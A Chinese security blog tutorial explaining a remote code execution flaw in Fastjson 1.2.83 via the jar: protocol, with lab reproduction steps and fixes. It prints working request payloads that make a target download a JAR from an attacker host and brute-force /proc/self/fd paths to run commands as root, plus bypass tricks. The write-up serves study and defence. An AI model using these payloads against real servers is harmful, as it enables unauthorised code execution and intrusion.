永远的经典世上再无“绝对安全”-Fastjson协议反序列化漏洞
发布时间:2026/10/4 21:13:41 作者:尧图编辑部 阅读量:1,286

很多人以为 Fastjson 升到 1.2.83、autoType 默认关闭就安全了黑名单里也找不到能用的 gadget 链。但这个版本留了一扇窗利用一个 jar 协议全程不需要 autoType 开启、不需要 classpath 上有 gadget就能让 JVM 主动下载远程文件。这篇带你从原理到复现走一遍。一、先说结论Fastjson 1.2.83 反序列化漏洞的核心不在【加载什么类】而在【加载类之前的一个探测动作】。Fastjson 处理type时有个checkAutoType方法它在做黑名单校验、autoType 开关校验之前会先读取这个类的 class 文件来探测有没有JSONType注解。如果type的值写成一个jar:http://的 URLJVM 会在 Fastjson 还没决定是否信任这个类之前就主动通过 HTTP 把远程 JAR 下载下来。打个比方你去公司找人前台还没核对你的身份证先伸手把你手里写着远程地址的包裹接过去、按地址取了回来。这篇我会讲清楚前置原理、环境搭建、两阶段攻击的来龙去脉。二、前置知识2.1 Fastjson 和 autoTypeFastjson 是阿里巴巴开源的 JSON 解析库Java 后端用得极多负责在 JSON 文本和 Java 对象之间转换。它有个type字段可以在 JSON 里直接指定要反序列化成哪个类{type:com.example.User,name:小明,age:18}这本来是方便多态反序列化的功能但如果type由用户控制就能指定危险类触发命令执行。历代 Fastjson 漏洞都源于此。为了防御Fastjson 搞了 autoType 开关默认关闭和庞大的黑名单。从 1.2.24 到 1.2.68研究员不断发现 gadget 链官方不断封堵。到 1.2.83autoType 关着、黑名单里几乎找不到可用的类。2.2 jar 协议JAR 是 Java 的压缩包里面装着编译后的 class 文件。Java 的 jar 协议格式是jar:资源URL!/包内路径比如jar:http://1.2.3.4:8000/evil.jar!/POC.class含义是先通过 HTTP 下载远程 JAR再读取里面的 POC.class。关键点jar:http 会触发 JVM 主动发起 HTTP 请求下载远程文件。2.3 Java 类加载一个 Java 类从 class 文件到可执行对象会经历加载、链接、初始化、实例化几个阶段。其中静态代码块在类初始化时自动执行一次构造器在每次 new 对象时执行攻击者把命令执行代码写在这两个地方类一旦被加载实例化就触发。注意远程 jar:http 下载主要在 Spring Boot 环境成立因为 Spring Boot 的 URLClassLoader 会真正发起 HTTP 请求标准 JVM 默认类加载器不会拉远程 JAR。Spring Boot 是主流框架这个前提并不苛刻。三、漏洞原理3.1 致命的提前探测checkAutoType设计上应该先做黑名单、autoType 等校验。但实际执行时它在所有校验之前先探测JSONType注解探测方式是clazz.getResourceAsStream(/className.replace(.,/).class)也就是尝试读取类文件。当type是普通类名时去 classpath 找文件找不到返回 null没有副作用。但当type是 jar URL 时JVM 就会下载远程 JAR。时序对比实际执行顺序 收到 type → 先读取类文件探测 JSONType 注解 ← 漏洞点 → 黑名单校验 → autoType 开关校验 → expectClass 匹配3.2 JSONType 为什么能放行如果 JAR 里的类带JSONType注解checkAutoType 会走一个特殊分支直接放行不需要 autoType 开启、不需要继承关系。这个设计初衷是性能优化已标记的类不必每次走黑名单但攻击者自己构造带注解的恶意类信任标记就成了通行证。3.3 影响范围条件是否受影响Fastjson 1.2.x ~ 1.2.83autoType 默认关闭未开 safeMode受影响开启 safeMode不受影响升级到 1.2.84 或 Fastjson2不受影响四、环境搭建用 Docker 一键启动靶场。L1 资料包中提供了完整环境核心的 docker-compose 配置version:3.8services:web:image:vulhub/fastjson:1.2.83ports:-8090:8090启动dockercompose up-d访问http://目标IP:8090看到 JSON 输出即就绪{age:25,name:Bob}这个端点接受 POST 请求并用 Fastjson 解析请求体就是攻击入口。攻击前确认目标能访问到攻击机JAR 要从攻击机下载并放行攻击机的 HTTP 服务端口。五、两阶段攻击为什么必要直接用 jar:http 下载 JAR 后要加载里面的类还面临两个障碍障碍原因IP 里的点号被替换Fastjson 把类名中所有点替换成斜杠IP 地址被打碎双斜杠 // 被 JDK 拒绝jar:http 含双斜杠JDK 不允许用这种类名 defineClass5.1 IP 转十进制Fastjson 会把类名里的点替换成斜杠填192.168.1.1会变成192/168/1/1。解决办法是把 IP 转成十进制整数十进制 第一段×256³ 第二段×256² 第三段×256 第四段例如192.168.1.1 3232235777纯数字没有点JVM 能识别。5.2 阶段一触发下载发送请求POST / HTTP/1.1 Host: 目标IP:8090 Content-Type: application/json {type:jar:http://3232235777:8000/probe!/POC76qp,x:1}目标的 Fastjson 探测注解时JVM 自动下载 JAR。返回 400 是正常的下载副作用已经发生JAR 被缓存到/proc/self/fd/N。5.3 阶段二fd 盲喷JAR 缓存为临时文件通过/proc/self/fd/N访问但 N 未知。于是穷举 N 从 10 到 300POST / HTTP/1.1 Cookie: 无 Content-Type: application/json {type:jar:file:/proc/self/fd/33!/POC76qp33,x:1}jar:file:全是单斜杠能通过 JDK 校验。命中正确 N 时恶意类被加载静态代码块执行命令。两阶段流程可以概括为阶段1jar:http → 目标下载 JAR缓存到 /proc/self/fd/N送货 阶段2jar:file: → 穷举 N 加载恶意类取货这一步是盲打命中与否响应看起来一样必须带外验证写标记文件、DNS 回连、反弹连接。六、验证漏洞先用无害命令验证进容器查看标记文件# 发送命令 id /tmp/success然后dockercomposeexecwebcat/tmp/success看到uid0(root)即说明命令以 root 权限执行漏洞确认。七、几个关键设计的由来利用脚本里几个看似奇怪的设计每个都对应一个具体障碍设计解决的问题十进制 IP绕过点号被替换成斜杠两阶段攻击绕过双斜杠类名被 JDK 拒绝fd 穷举10~300解决缓存文件编号未知JSONType(asmfalse)绕过 ASM 类加载器重新解析类名bash -c 包裹命令Runtime.exec 不经 shell 解析其中JSONType(asmfalse)最隐蔽Fastjson 默认用 ASM 动态生成子类实例化ASM 会重新解析奇葩类名导致报错静态代码块没机会执行asmfalse 强制走反射在已加载的 Class 上直接 new命令才会执行。八、修复建议开启 safeMode最直接完全禁用 type入口直接抛异常不做注解探测。JVM 参数-Dfastjson.parser.safeModetrue或代码ParserConfig.getGlobalInstance().setSafeMode(true)。升级 Fastjson2重新设计了反序列化机制不存在该问题。限制服务器出网阻止出站连接JVM 无法下载远程 JAR。最小权限运行非 root 用户跑服务降低被利用后的影响。九、写在最后这个漏洞最有意思的地方是防御者花了好几个版本封堵 gadget 链、收紧 autoType结果攻击面不在【加载什么类】而在【加载类之前的那个探测动作】。门锁够结实人家却从窗户递了个包裹JVM 自己拆开就执行了。如果你是第一次复现建议先把id /tmp/success跑通确认命令执行后再研究后续的完整利用。如果你想看这个漏洞从命令执行到 GetShell 的完整过程包括恶意 JAR 的字节码构造、两阶段时序配合、反弹 Shell 的引号处理、一键利用脚本以及更多真实漏洞的全链路拆解可以访问我的安全学习站点详见文章头部官网【光跃Eason·安研社】。本文仅用于合法的安全研究和教育目的请确保测试系统拥有合法授权禁止对未授权系统进行测试。